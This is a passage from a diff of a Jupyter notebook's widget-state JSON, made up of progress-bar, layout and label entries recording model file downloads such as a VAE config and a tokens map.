"ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "8ce35b01fc9a4b6fbdd650491a58f188": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8e4655cdbd0348bb86523938a0d95367": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a613c20dd06d4754b7a890d802476395", + "placeholder": "​", + "style": "IPY_MODEL_7342611c130c4e3da540d7ae0ac95b52", + "value": "100%" + } + }, + "8e7b4587729f4fe597e2342b9e8c5b06": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_91f6c95c7ded4ca0a5fbf7d2f5b8eb67", + "placeholder": "​", + "style": "IPY_MODEL_4dc511c396c5492c8d707ba52783edcb", + "value": "100%" + } + }, + "8f10179341c44eb192f865feb143c57e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8f135d6a55484caf92a325c375e16005": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "901f71e702474e77be59006bba599918": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e82bcca350364e229895710e7d145fbf", + "placeholder": "​", + "style": "IPY_MODEL_be553a7df92e48b687fc177f7ba3c5fd", + "value": "100%" + } + }, + "9038138255b442b7b17885ab7f31aed1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "90443b91e1f448f78274e3157290a8e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f3f3d0fa7c164320b7f11f68a3915899", + "placeholder": "​", + "style": "IPY_MODEL_ee9c24e8b40948d398b026d30cc5cee7", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "90ddc85bb3e84773acf73b9a16b4f0be": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "916ddc4e29e448788ab4fdeb38d4a217": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4d91d312e2ff43509652ce52d7d999d3", + "placeholder": "​", + "style": "IPY_MODEL_3808c4765a054dd0a2771050871177a4", + "value": "100%" + } + }, + "91b59a00a5214cd7af5fad47ce24e756": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_90443b91e1f448f78274e3157290a8e0", + "IPY_MODEL_6be67e6518ea45a0b14a24c79b947617", + "IPY_MODEL_4cbd69647642484f9058b10156001882" + ], + "layout": "IPY_MODEL_1b8ccf560cce482caf4d08a3ed02f0fe" + } + }, + "91f6c95c7ded4ca0a5fbf7d2f5b8eb67": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "925594a07eba4bdc92e59ef1df5ea63e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e25cb8e08bae4c56a84874cf31cd84c4", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_92d4de954f0442778144c26caae5ee83", + "value": 20 + } + }, + "92d0bc42d43c46b2a720ee96e7353232": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "92d4de954f0442778144c26caae5ee83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "932741fa7e674b6595866eecaf746bc9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "93b5852ebf584c3e95ca3275b2c9b698": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "94b45bc6f5e24cf3aa16f431bc7ed58a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1855195ecd9a4ba993c2a4e298d21a44", + "placeholder": "​", + "style": "IPY_MODEL_03098089aa0d4e879c1f50cce8384a4e", + "value": "100%" + } + }, + "94b5651c5cd14901ac59ce22bb80fcfa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "95a784af30bd4bde911e0ee76e343e72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "95adb39e73614c96af18ccb2468d5b37": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "9604b8f7a8ef4fa6b488ee1892e138d2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "960b8d20472f40078fc9566abc065cc1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "96127d57c04f45fd91dab7aa30607e63": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc2730d310454290aedf3e63087213f5", + "placeholder": "​", + "style": "IPY_MODEL_ec3c6adaf7ed44469ac0a58490dd5159", + "value": "100%" + } + }, + "9887290953b6414eacb4396a5b240a2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "990b53f96b66496bb27edb5c1ea012bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a91880b909e4b05bf668c410f978ca2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9bc9af26c0bd4a2889ebff1c5cc14dc4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_405d6f07be5743be8ea10f7e2d4ee73d", + "IPY_MODEL_06e488fd0cbb44a79328b0c88392b650", + "IPY_MODEL_8779a1cb87f6461a9a152ece606fa948" + ], + "layout": "IPY_MODEL_b897a3bfccf040548ccf16ef62315d5f" + } + }, + "9c621a99b504459590a39098afbe5d50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5c825455d85948b99f86b3495de63b29", + "placeholder": "​", + "style": "IPY_MODEL_516f366ed73b4ed0991a6a91fb22a3d8", + "value": "100%" + } + }, + "9d28ea1de5494de5b911c1f120185b7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9d6a05a53dd24fac9e093e0b278e3381": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d3e78f87ec5c4c3e9e1efafefadea3bd", + "placeholder": "​", + "style": "IPY_MODEL_8214d94c9de5436a9ed42367af453491", + "value": "Downloading (…)cd8e/vae/config.json: 100%" + } + }, + "9dc480c24e9844599de9f1e5e3638f33": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9dec2df865ed4e8399c511f504e460f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_04835e754bc84aa392f824e387a8b205", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dffbab23b4c34df9b6f9e8ff6c1a1912", + "value": 100 + } + }, + "9e6fae549ea447e89a0ab36ba19e5fab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9eb63a9230ba472d87cf106e8abb5dff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8811223ffe8547e99b837842150396f4", + "placeholder": "​", + "style": "IPY_MODEL_4e55fede968943718a3c10962f5f708b", + "value": " 3.44G/3.44G [00:47<00:00, 71.8MB/s]" + } + }, + "9f75675721ae47eb99c80fedb78ea2b7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a109094931b742ee9f4376e54d62660c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2c4ab41623ca4ce3961c8a105536ecdf", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_36cb537e89324f54b767df1e24045108", + "value": 100 + } + }, + "a401d37863744fd58fe863b27d6a562b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a464d6a9bc374081a75ad8a0514c869a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a613c20dd06d4754b7a890d802476395": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a66a0a813bc24011a91f56778e88244e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a726d364296442e196e973e575578c30": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a76fd8c2c78546a8a4cb5446c7b57505": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9d6a05a53dd24fac9e093e0b278e3381", + 